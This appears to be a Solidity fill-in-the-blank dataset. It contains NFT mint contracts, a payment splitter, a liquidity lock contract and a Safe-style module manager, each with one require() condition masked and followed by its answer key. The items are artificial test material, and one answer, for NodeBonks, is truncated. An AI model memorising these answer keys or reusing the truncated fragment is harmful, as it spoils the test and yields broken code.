`tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { } } pragma solidity ^0.8.0; contract SuperMatchstickM is ERC721, ERC721Enumerable, Ownable { bool public IsActive = true; string private _baseURIextended; address payable public immutable contract_owner; struct SaleConfig { uint32 max_num; uint32 SMM_total; uint256 startTime; uint256 endTime; uint256 _price; } SaleConfig public saleConfig; mapping (address => uint8) public mint_num; constructor(address payable _owner) ERC721("Super Matchstick M", "SMM") { } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { } function setBaseURI(string memory baseURI_) external onlyOwner() { } function _baseURI() internal view virtual override returns (string memory) { } function setSaleState(bool newState) public onlyOwner { } function mintBatch(address account, uint256 num) external onlyOwner() { } function mint(uint num) public payable { require(IsActive, "Sale must be active to mint Tokens"); require(saleConfig.startTime <= block.timestamp && block.timestamp <= saleConfig.endTime, "Sale has not started yet."); require(num <= saleConfig.max_num, "Exceeded max token purchase"); require(totalSupply() + num <= saleConfig.SMM_total, "Purchase would exceed max supply of tokens"); require(<FILL_ME>) require(saleConfig._price * num <= msg.value, "Ether value sent is not correct."); for(uint i = 0; i < num; i++) { uint mintIndex = totalSupply(); if (totalSupply() < saleConfig.SMM_total) { _safeMint(msg.sender, mintIndex); mint_num[msg.sender] = mint_num[msg.sender]+1; } } } function set_time(uint256 _s, uint256 _e) public onlyOwner { } function set_price(uint256 _p) public onlyOwner { } function set_max_num(uint32 _max) public onlyOwner { } function withdraw() public onlyOwner { } }
mint_num[msg.sender]+num<=saleConfig.max_num,"Exceeded max token purchase.."
197,282
mint_num[msg.sender]+num<=saleConfig.max_num
"Ether value sent is not correct."
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { } } pragma solidity ^0.8.0; contract SuperMatchstickM is ERC721, ERC721Enumerable, Ownable { bool public IsActive = true; string private _baseURIextended; address payable public immutable contract_owner; struct SaleConfig { uint32 max_num; uint32 SMM_total; uint256 startTime; uint256 endTime; uint256 _price; } SaleConfig public saleConfig; mapping (address => uint8) public mint_num; constructor(address payable _owner) ERC721("Super Matchstick M", "SMM") { } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { } function setBaseURI(string memory baseURI_) external onlyOwner() { } function _baseURI() internal view virtual override returns (string memory) { } function setSaleState(bool newState) public onlyOwner { } function mintBatch(address account, uint256 num) external onlyOwner() { } function mint(uint num) public payable { require(IsActive, "Sale must be active to mint Tokens"); require(saleConfig.startTime <= block.timestamp && block.timestamp <= saleConfig.endTime, "Sale has not started yet."); require(num <= saleConfig.max_num, "Exceeded max token purchase"); require(totalSupply() + num <= saleConfig.SMM_total, "Purchase would exceed max supply of tokens"); require(mint_num[msg.sender] + num <= saleConfig.max_num, "Exceeded max token purchase.."); require(<FILL_ME>) for(uint i = 0; i < num; i++) { uint mintIndex = totalSupply(); if (totalSupply() < saleConfig.SMM_total) { _safeMint(msg.sender, mintIndex); mint_num[msg.sender] = mint_num[msg.sender]+1; } } } function set_time(uint256 _s, uint256 _e) public onlyOwner { } function set_price(uint256 _p) public onlyOwner { } function set_max_num(uint32 _max) public onlyOwner { } function withdraw() public onlyOwner { } }
saleConfig._price*num<=msg.value,"Ether value sent is not correct."
197,282
saleConfig._price*num<=msg.value
"Total share must be 100%"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Splitter { address payable public address1; address payable public address2; address payable public address3; uint public share1; uint public share2; uint public share3; address public owner; constructor(address payable _address1, address payable _address2, address payable _address3, uint _share1, uint _share2, uint _share3) { require(<FILL_ME>) owner = msg.sender; address1 = _address1; address2 = _address2; address3 = _address3; share1 = _share1; share2 = _share2; share3 = _share3; } modifier onlyOwner() { } function setAddresses(address payable _address1, address payable _address2, address payable _address3) public onlyOwner { } function setShares(uint _share1, uint _share2, uint _share3) public onlyOwner { } receive() external payable { } }
_share1+_share2+_share3==100,"Total share must be 100%"
197,306
_share1+_share2+_share3==100
)
// __ _ ___ _ // /\ \ \___ __| | ___ / __\ ___ _ __ | | _____ // / \/ / _ \ / _` |/ _ \/__\/// _ \| '_ \| |/ / __| // / /\ / (_) | (_| | __/ \/ \ (_) | | | | <\__ \ // \_\ \/ \___/ \__,_|\___\_____/\___/|_| |_|_|\_\___/ // Copypaste 2002 <-> All rights are lefts // SPDX-License-Identifier: MIT pragma solidity ^0.8.22; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract NodeBonks is ERC2981, ERC721A, Ownable { using Strings for uint256; event Mint(uint256 amount); uint256 public price = 0.002 ether; uint64 public freePerWallet = 2; uint64 public maxSupply = 10000; uint64 public maxPerTx = 52; bool public isSaleActive; mapping(address => uint256) public minted; string private baseURI; string public contractURI; constructor( string memory _baseURI, string memory _contractURI ) ERC721A("NodeBonks", "NBNK") Ownable(msg.sender) { } function mint(uint256 quantity) external payable { require(isSaleActive, "Mint has not started yet"); require(tx.origin == _msgSender(), "Bots not allowed"); require(totalSupply() + quantity <= maxSupply, "Max supply exceeded"); require(quantity <= maxPerTx, "Per transaction limit exceeded"); uint256 requiredSum = quantity * price; if (minted[msg.sender] < freePerWallet) { uint discount = freePerWallet - minted[msg.sender]; require(<FILL_ME>) } require(msg.value >= requiredSum, "Incorrect ETH amount"); minted[msg.sender] += quantity; _mint(msg.sender, quantity); emit Mint(quantity); } function tokenURI( uint256 tokenId ) public view virtual override returns (string memory) { } function _startTokenId() internal view virtual override returns (uint256) { } function supportsInterface( bytes4 interfaceId ) public view virtual override(ERC721A, ERC2981) returns (bool) { } function cutSupply(uint64 newSupply) external onlyOwner { } function setBaseURI(string memory uri) external onlyOwner { } function setContractURI(string memory uri) external onlyOwner { } function setFreePerWallet(uint64 limit) external onlyOwner { } function setMaxPerTx(uint64 limit) external onlyOwner { } function setPrice(uint256 _price) external onlyOwner { } function flipSaleState() external onlyOwner { } function airdrop(uint256 quantity, address receiver) external onlyOwner { } function release() external onlyOwner { } }
<=discount?requiredSum=0:requiredSum=(quantity-discount)*pric
197,517
(
"invalid stipend"
// SPDX-License-Identifier: MIT // Author: tycoon.eth // Project: Cigarettes (CEO of CryptoPunks) // Perma-lock liquidity pragma solidity ^0.8.17; /* This contract's lock() function is used to deposit CIG/ETH SLP tokens to the CIG factory. Once locked, they are locked forever. Anybody can call this contract to harvest, and the harvested CIG will be stored in this contract. The admin can also assign "stipends" for individual addresses. When the harvest is called by an address with a stipend, the harvest function will send CIG tokens as specified by the stipend. */ contract Lock { // Structs struct Stipend { address to; // where to send harvested CIG rewards to uint256 amount;// max CIG that will be sent uint256 period;// how many blocks required between calls uint256 block; // record of last block number when called } // Events event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); event StipendGranted( address indexed caller, address to, uint256 limit, uint256 period ); event StipendRevoked(address indexed spender); // State mapping(address => Stipend) public stipends; // caller => Stipend address public admin; // can permit other callers to harvest CIG ICigToken private immutable cig; // 0xCB56b52316041A62B6b5D0583DcE4A8AE7a3C629 ILiquidityPool private immutable cigEthSLP; // 0x22b15c7ee1186a7c7cffb2d942e20fc228f6e4ed (SLP, it's also an ERC20) constructor (address _cig, address _slp) { } modifier onlyOwner() { } function renounceOwnership() public onlyOwner { } function transferOwnership(address _to) public onlyOwner { } /** * grant grants a stipend for a caller. When harvest() is called with * msg.sender as the caller, the contract will send _amount to _to * Must wait _period of blocks between calls. */ function grant( address _caller, address _to, uint256 _amount, uint256 _period ) external onlyOwner { } /** * revoke revokes a given stipend for the _caller */ function revoke(address _caller) external onlyOwner { require(<FILL_ME>) delete stipends[_caller]; emit StipendRevoked(_caller); } /** * @dev lock liquidity forever. There is no way to withdraw */ function lock(uint256 _amount) external { } /** * @dev harvest CIG. If msg.sender has stipend then send their CIG */ function harvest() external { } function getStats(address _user) view external returns(uint256[] memory) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface ICigToken is IERC20 { struct UserInfo { uint256 deposit; // How many LP tokens the user has deposited. uint256 rewardDebt; // keeps track of how much reward was paid out } //function emergencyWithdraw() external; // make sure to call harvest before calling this function harvest() external; function deposit(uint256 _amount) external; function pendingCig(address) external view returns (uint256); function cigPerBlock() external view returns (uint256); function farmers(address _user) external view returns (UserInfo memory); function stakedlpSupply() external view returns(uint256); //function withdraw(uint256 _amount) external // bugged, use emergencyWithdraw() instead. } interface ILiquidityPool is IERC20 { function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast); function token0() external view returns (address); }
stipends[_caller].to!=address(0),"invalid stipend"
197,793
stipends[_caller].to!=address(0)
"Excedes max supply."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; import "./ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract JustAnApeButt is ERC721A, Ownable { string public baseURI; uint256 public supply; uint256 public maxPerTxn = 101; uint256 public init = 50; uint256 public price = 0.0069 ether; constructor() ERC721A("Just An Ape Butt", "JustAnApeButt", 500) { } function setBaseURI(string memory _baseURI) public onlyOwner { } function tokenURI(uint256 _tokenId) public view override returns (string memory) { } function mint(uint256 count) public payable { require(<FILL_ME>) require(count < maxPerTxn, "Exceeds max per transaction."); require(count > 0, "Must mint at least one token"); require(count * price == msg.value, "Invalid funds provided."); _safeMint(_msgSender(), count); } function dev() external onlyOwner { } function setSupply(uint256 _newSupply) public onlyOwner { } function setPrice(uint256 _newPrice) public onlyOwner { } function setMax(uint256 _newMax) public onlyOwner { } function setInit(uint256 _newInit) public onlyOwner { } function withdraw() public onlyOwner { } }
totalSupply()+count<supply,"Excedes max supply."
197,850
totalSupply()+count<supply
"The mint quantity exceeds the holding quantity limit"
pragma solidity >=0.7.0 <0.9.0; contract RoarClub is ERC721A, Ownable, ReentrancyGuard { uint256 public constant MAXIMUM_SUPPLY = 10000; uint256 public presalePrice = 0.08 ether; uint256 public presaleMaximumHoldingsPerHolder = 3; uint256 public publicPrice = 0.1 ether; uint256 public publicMaximumHoldingsPerHolder = 5; bool private allowMint = false; bool private presale = true; bool private revealed = false; string private revealedBaseURI = "ipfs://CID/"; string private notRevealedBaseURI = "ipfs://QmQvKWJdn2s6YHWhmTSv1y3t7GQ7p84xaLmmnQRLz9Yto9/"; mapping(address => bool) private presaleWhitelist; mapping(address => uint256) private presaleMintQuantityPerHolder; mapping(address => uint256) private publicMintQuantityPerHolder; event MemberReservedTotal(uint256 amount); constructor() ERC721A("Roar Club", "RCO") { } function mint(uint256 quantity) public payable nonReentrant { require(allowMint, "Not yet on sale"); if (presale) { require(msg.value == presalePrice * quantity, "The amount you paid is incorrect"); require(presaleWhitelist[msg.sender], "You are not eligible for the pre-sale whitelist"); require(<FILL_ME>) } else { require(msg.value == publicPrice * quantity, "The amount you paid is incorrect"); require((publicMintQuantityPerHolder[msg.sender] + quantity) <= publicMaximumHoldingsPerHolder, "The mint quantity exceeds the holding quantity limit"); } require((quantity + totalSupply()) <= MAXIMUM_SUPPLY, "The mint quantity has exceeded the maximum supply quantity"); if (presale) { presaleMintQuantityPerHolder[msg.sender] += quantity; } else { publicMintQuantityPerHolder[msg.sender] += quantity; } _mint(msg.sender, quantity); } function airdrop(address to, uint256 quantity) public onlyOwner { } function tokenURI(uint256 tokenId) public view override returns (string memory) { } function _startTokenId() internal pure override returns (uint256) { } function getCurrentPrice() public view returns (uint256) { } function getCurrentMintLimit(address add) public view returns (uint256) { } function getRemainingNft() public view returns(uint256) { } function getPresalePrice() public view returns (uint256) { } function setPresalePrice(uint256 _presalePrice) public onlyOwner { } function getPresaleMaximumHoldingsPerHolder() public view returns (uint256) { } function setPresaleMaximumHoldingsPerHolder(uint256 _presaleMaximumHoldingsPerHolder) public onlyOwner { } function getPublicPrice() public view returns (uint256) { } function setPublicPrice(uint256 _publicPrice) public onlyOwner { } function getPublicMaximumHoldingsPerHolder() public view returns (uint256) { } function setPublicMaximumHoldingsPerHolder(uint256 _publicMaximumHoldingsPerHolder) public onlyOwner { } function isAllowMint() public view returns (bool) { } function toggleAllowMint() public onlyOwner { } function isPresale() public view returns (bool) { } function togglePresale() public onlyOwner { } function isRevealed() public view returns (bool) { } function toggleRevealed() public onlyOwner { } function getRevealedBaseURI() public view returns (string memory) { } function setRevealedBaseURI(string memory _revealedBaseURI) public onlyOwner { } function getNotRevealedBaseURI() public view returns (string memory) { } function setNotRevealedBaseURI(string memory _notRevealedBaseURI) public onlyOwner { } function isPresaleWhitelisted(address add) public view returns (bool) { } function setPresaleWhitelist(address add, bool whitelisted) public onlyOwner { } function getPresaleMintQuantityPerHolder(address add) public view returns (uint256) { } function getPublicMintQuantityPerHolder(address add) public view returns (uint256) { } function withdraw() public onlyOwner { } }
(presaleMintQuantityPerHolder[msg.sender]+quantity)<=presaleMaximumHoldingsPerHolder,"The mint quantity exceeds the holding quantity limit"
197,851
(presaleMintQuantityPerHolder[msg.sender]+quantity)<=presaleMaximumHoldingsPerHolder
"The mint quantity exceeds the holding quantity limit"
pragma solidity >=0.7.0 <0.9.0; contract RoarClub is ERC721A, Ownable, ReentrancyGuard { uint256 public constant MAXIMUM_SUPPLY = 10000; uint256 public presalePrice = 0.08 ether; uint256 public presaleMaximumHoldingsPerHolder = 3; uint256 public publicPrice = 0.1 ether; uint256 public publicMaximumHoldingsPerHolder = 5; bool private allowMint = false; bool private presale = true; bool private revealed = false; string private revealedBaseURI = "ipfs://CID/"; string private notRevealedBaseURI = "ipfs://QmQvKWJdn2s6YHWhmTSv1y3t7GQ7p84xaLmmnQRLz9Yto9/"; mapping(address => bool) private presaleWhitelist; mapping(address => uint256) private presaleMintQuantityPerHolder; mapping(address => uint256) private publicMintQuantityPerHolder; event MemberReservedTotal(uint256 amount); constructor() ERC721A("Roar Club", "RCO") { } function mint(uint256 quantity) public payable nonReentrant { require(allowMint, "Not yet on sale"); if (presale) { require(msg.value == presalePrice * quantity, "The amount you paid is incorrect"); require(presaleWhitelist[msg.sender], "You are not eligible for the pre-sale whitelist"); require((presaleMintQuantityPerHolder[msg.sender] + quantity) <= presaleMaximumHoldingsPerHolder, "The mint quantity exceeds the holding quantity limit"); } else { require(msg.value == publicPrice * quantity, "The amount you paid is incorrect"); require(<FILL_ME>) } require((quantity + totalSupply()) <= MAXIMUM_SUPPLY, "The mint quantity has exceeded the maximum supply quantity"); if (presale) { presaleMintQuantityPerHolder[msg.sender] += quantity; } else { publicMintQuantityPerHolder[msg.sender] += quantity; } _mint(msg.sender, quantity); } function airdrop(address to, uint256 quantity) public onlyOwner { } function tokenURI(uint256 tokenId) public view override returns (string memory) { } function _startTokenId() internal pure override returns (uint256) { } function getCurrentPrice() public view returns (uint256) { } function getCurrentMintLimit(address add) public view returns (uint256) { } function getRemainingNft() public view returns(uint256) { } function getPresalePrice() public view returns (uint256) { } function setPresalePrice(uint256 _presalePrice) public onlyOwner { } function getPresaleMaximumHoldingsPerHolder() public view returns (uint256) { } function setPresaleMaximumHoldingsPerHolder(uint256 _presaleMaximumHoldingsPerHolder) public onlyOwner { } function getPublicPrice() public view returns (uint256) { } function setPublicPrice(uint256 _publicPrice) public onlyOwner { } function getPublicMaximumHoldingsPerHolder() public view returns (uint256) { } function setPublicMaximumHoldingsPerHolder(uint256 _publicMaximumHoldingsPerHolder) public onlyOwner { } function isAllowMint() public view returns (bool) { } function toggleAllowMint() public onlyOwner { } function isPresale() public view returns (bool) { } function togglePresale() public onlyOwner { } function isRevealed() public view returns (bool) { } function toggleRevealed() public onlyOwner { } function getRevealedBaseURI() public view returns (string memory) { } function setRevealedBaseURI(string memory _revealedBaseURI) public onlyOwner { } function getNotRevealedBaseURI() public view returns (string memory) { } function setNotRevealedBaseURI(string memory _notRevealedBaseURI) public onlyOwner { } function isPresaleWhitelisted(address add) public view returns (bool) { } function setPresaleWhitelist(address add, bool whitelisted) public onlyOwner { } function getPresaleMintQuantityPerHolder(address add) public view returns (uint256) { } function getPublicMintQuantityPerHolder(address add) public view returns (uint256) { } function withdraw() public onlyOwner { } }
(publicMintQuantityPerHolder[msg.sender]+quantity)<=publicMaximumHoldingsPerHolder,"The mint quantity exceeds the holding quantity limit"
197,851
(publicMintQuantityPerHolder[msg.sender]+quantity)<=publicMaximumHoldingsPerHolder
"The mint quantity has exceeded the maximum supply quantity"
pragma solidity >=0.7.0 <0.9.0; contract RoarClub is ERC721A, Ownable, ReentrancyGuard { uint256 public constant MAXIMUM_SUPPLY = 10000; uint256 public presalePrice = 0.08 ether; uint256 public presaleMaximumHoldingsPerHolder = 3; uint256 public publicPrice = 0.1 ether; uint256 public publicMaximumHoldingsPerHolder = 5; bool private allowMint = false; bool private presale = true; bool private revealed = false; string private revealedBaseURI = "ipfs://CID/"; string private notRevealedBaseURI = "ipfs://QmQvKWJdn2s6YHWhmTSv1y3t7GQ7p84xaLmmnQRLz9Yto9/"; mapping(address => bool) private presaleWhitelist; mapping(address => uint256) private presaleMintQuantityPerHolder; mapping(address => uint256) private publicMintQuantityPerHolder; event MemberReservedTotal(uint256 amount); constructor() ERC721A("Roar Club", "RCO") { } function mint(uint256 quantity) public payable nonReentrant { require(allowMint, "Not yet on sale"); if (presale) { require(msg.value == presalePrice * quantity, "The amount you paid is incorrect"); require(presaleWhitelist[msg.sender], "You are not eligible for the pre-sale whitelist"); require((presaleMintQuantityPerHolder[msg.sender] + quantity) <= presaleMaximumHoldingsPerHolder, "The mint quantity exceeds the holding quantity limit"); } else { require(msg.value == publicPrice * quantity, "The amount you paid is incorrect"); require((publicMintQuantityPerHolder[msg.sender] + quantity) <= publicMaximumHoldingsPerHolder, "The mint quantity exceeds the holding quantity limit"); } require(<FILL_ME>) if (presale) { presaleMintQuantityPerHolder[msg.sender] += quantity; } else { publicMintQuantityPerHolder[msg.sender] += quantity; } _mint(msg.sender, quantity); } function airdrop(address to, uint256 quantity) public onlyOwner { } function tokenURI(uint256 tokenId) public view override returns (string memory) { } function _startTokenId() internal pure override returns (uint256) { } function getCurrentPrice() public view returns (uint256) { } function getCurrentMintLimit(address add) public view returns (uint256) { } function getRemainingNft() public view returns(uint256) { } function getPresalePrice() public view returns (uint256) { } function setPresalePrice(uint256 _presalePrice) public onlyOwner { } function getPresaleMaximumHoldingsPerHolder() public view returns (uint256) { } function setPresaleMaximumHoldingsPerHolder(uint256 _presaleMaximumHoldingsPerHolder) public onlyOwner { } function getPublicPrice() public view returns (uint256) { } function setPublicPrice(uint256 _publicPrice) public onlyOwner { } function getPublicMaximumHoldingsPerHolder() public view returns (uint256) { } function setPublicMaximumHoldingsPerHolder(uint256 _publicMaximumHoldingsPerHolder) public onlyOwner { } function isAllowMint() public view returns (bool) { } function toggleAllowMint() public onlyOwner { } function isPresale() public view returns (bool) { } function togglePresale() public onlyOwner { } function isRevealed() public view returns (bool) { } function toggleRevealed() public onlyOwner { } function getRevealedBaseURI() public view returns (string memory) { } function setRevealedBaseURI(string memory _revealedBaseURI) public onlyOwner { } function getNotRevealedBaseURI() public view returns (string memory) { } function setNotRevealedBaseURI(string memory _notRevealedBaseURI) public onlyOwner { } function isPresaleWhitelisted(address add) public view returns (bool) { } function setPresaleWhitelist(address add, bool whitelisted) public onlyOwner { } function getPresaleMintQuantityPerHolder(address add) public view returns (uint256) { } function getPublicMintQuantityPerHolder(address add) public view returns (uint256) { } function withdraw() public onlyOwner { } }
(quantity+totalSupply())<=MAXIMUM_SUPPLY,"The mint quantity has exceeded the maximum supply quantity"
197,851
(quantity+totalSupply())<=MAXIMUM_SUPPLY
"Could not finish initialization"
pragma solidity >=0.5.0 <0.7.0; import "../common/Enum.sol"; import "../common/SelfAuthorized.sol"; import "./Executor.sol"; import "./Module.sol"; /// @title Module Manager - A contract that manages modules that can execute transactions via this contract /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract ModuleManager is SelfAuthorized, Executor { event EnabledModule(Module module); event DisabledModule(Module module); event ExecutionFromModuleSuccess(address indexed module); event ExecutionFromModuleFailure(address indexed module); address internal constant SENTINEL_MODULES = address(0x1); mapping (address => address) internal modules; function setupModules(address to, bytes memory data) internal { require(modules[SENTINEL_MODULES] == address(0), "Modules have already been initialized"); modules[SENTINEL_MODULES] = SENTINEL_MODULES; if (to != address(0)) // Setup has to complete successfully or transaction fails. require(<FILL_ME>) } /// @dev Allows to add a module to the whitelist. /// This can only be done via a Safe transaction. /// @notice Enables the module `module` for the Safe. /// @param module Module to be whitelisted. function enableModule(Module module) public authorized { } /// @dev Allows to remove a module from the whitelist. /// This can only be done via a Safe transaction. /// @notice Disables the module `module` for the Safe. /// @param prevModule Module that pointed to the module to be removed in the linked list /// @param module Module to be removed. function disableModule(Module prevModule, Module module) public authorized { } /// @dev Allows a Module to execute a Safe transaction without any further confirmations. /// @param to Destination address of module transaction. /// @param value Ether value of module transaction. /// @param data Data payload of module transaction. /// @param operation Operation type of module transaction. function execTransactionFromModule(address to, uint256 value, bytes memory data, Enum.Operation operation) public returns (bool success) { } /// @dev Allows a Module to execute a Safe transaction without any further confirmations and return data /// @param to Destination address of module transaction. /// @param value Ether value of module transaction. /// @param data Data payload of module transaction. /// @param operation Operation type of module transaction. function execTransactionFromModuleReturnData(address to, uint256 value, bytes memory data, Enum.Operation operation) public returns (bool success, bytes memory returnData) { } /// @dev Returns if an module is enabled /// @return True if the module is enabled function isModuleEnabled(Module module) public view returns (bool) { } /// @dev Returns array of first 10 modules. /// @return Array of modules. function getModules() public view returns (address[] memory) { } /// @dev Returns array of modules. /// @param start Start of the page. /// @param pageSize Maximum number of modules that should be returned. /// @return Array of modules. function getModulesPaginated(address start, uint256 pageSize) public view returns (address[] memory array, address next) { } }
executeDelegateCall(to,data,gasleft()),"Could not finish initialization"
197,980
executeDelegateCall(to,data,gasleft())
"Invalid module address provided"
pragma solidity >=0.5.0 <0.7.0; import "../common/Enum.sol"; import "../common/SelfAuthorized.sol"; import "./Executor.sol"; import "./Module.sol"; /// @title Module Manager - A contract that manages modules that can execute transactions via this contract /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract ModuleManager is SelfAuthorized, Executor { event EnabledModule(Module module); event DisabledModule(Module module); event ExecutionFromModuleSuccess(address indexed module); event ExecutionFromModuleFailure(address indexed module); address internal constant SENTINEL_MODULES = address(0x1); mapping (address => address) internal modules; function setupModules(address to, bytes memory data) internal { } /// @dev Allows to add a module to the whitelist. /// This can only be done via a Safe transaction. /// @notice Enables the module `module` for the Safe. /// @param module Module to be whitelisted. function enableModule(Module module) public authorized { // Module address cannot be null or sentinel. require(<FILL_ME>) // Module cannot be added twice. require(modules[address(module)] == address(0), "Module has already been added"); modules[address(module)] = modules[SENTINEL_MODULES]; modules[SENTINEL_MODULES] = address(module); emit EnabledModule(module); } /// @dev Allows to remove a module from the whitelist. /// This can only be done via a Safe transaction. /// @notice Disables the module `module` for the Safe. /// @param prevModule Module that pointed to the module to be removed in the linked list /// @param module Module to be removed. function disableModule(Module prevModule, Module module) public authorized { } /// @dev Allows a Module to execute a Safe transaction without any further confirmations. /// @param to Destination address of module transaction. /// @param value Ether value of module transaction. /// @param data Data payload of module transaction. /// @param operation Operation type of module transaction. function execTransactionFromModule(address to, uint256 value, bytes memory data, Enum.Operation operation) public returns (bool success) { } /// @dev Allows a Module to execute a Safe transaction without any further confirmations and return data /// @param to Destination address of module transaction. /// @param value Ether value of module transaction. /// @param data Data payload of module transaction. /// @param operation Operation type of module transaction. function execTransactionFromModuleReturnData(address to, uint256 value, bytes memory data, Enum.Operation operation) public returns (bool success, bytes memory returnData) { } /// @dev Returns if an module is enabled /// @return True if the module is enabled function isModuleEnabled(Module module) public view returns (bool) { } /// @dev Returns array of first 10 modules. /// @return Array of modules. function getModules() public view returns (address[] memory) { } /// @dev Returns array of modules. /// @param start Start of the page. /// @param pageSize Maximum number of modules that should be returned. /// @return Array of modules. function getModulesPaginated(address start, uint256 pageSize) public view returns (address[] memory array, address next) { } }
address(module)!=address(0)&&address(module)!=SENTINEL_MODULES,"Invalid module address provided"
197,980
address(module)!=address(0)&&address(module)!=SENTINEL_MODULES
"Module has already been added"
pragma solidity >=0.5.0 <0.7.0; import "../common/Enum.sol"; import "../common/SelfAuthorized.sol"; import "./Executor.sol"; import "./Module.sol"; /// @title Module Manager - A contract that manages modules that can execute transactions via this contract /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract ModuleManager is SelfAuthorized, Executor { event EnabledModule(Module module); event DisabledModule(Module module); event ExecutionFromModuleSuccess(address indexed module); event ExecutionFromModuleFailure(address indexed module); address internal constant SENTINEL_MODULES = address(0x1); mapping (address => address) internal modules; function setupModules(address to, bytes memory data) internal { } /// @dev Allows to add a module to the whitelist. /// This can only be done via a Safe transaction. /// @notice Enables the module `module` for the Safe. /// @param module Module to be whitelisted. function enableModule(Module module) public authorized { // Module address cannot be null or sentinel. require(address(module) != address(0) && address(module) != SENTINEL_MODULES, "Invalid module address provided"); // Module cannot be added twice. require(<FILL_ME>) modules[address(module)] = modules[SENTINEL_MODULES]; modules[SENTINEL_MODULES] = address(module); emit EnabledModule(module); } /// @dev Allows to remove a module from the whitelist. /// This can only be done via a Safe transaction. /// @notice Disables the module `module` for the Safe. /// @param prevModule Module that pointed to the module to be removed in the linked list /// @param module Module to be removed. function disableModule(Module prevModule, Module module) public authorized { } /// @dev Allows a Module to execute a Safe transaction without any further confirmations. /// @param to 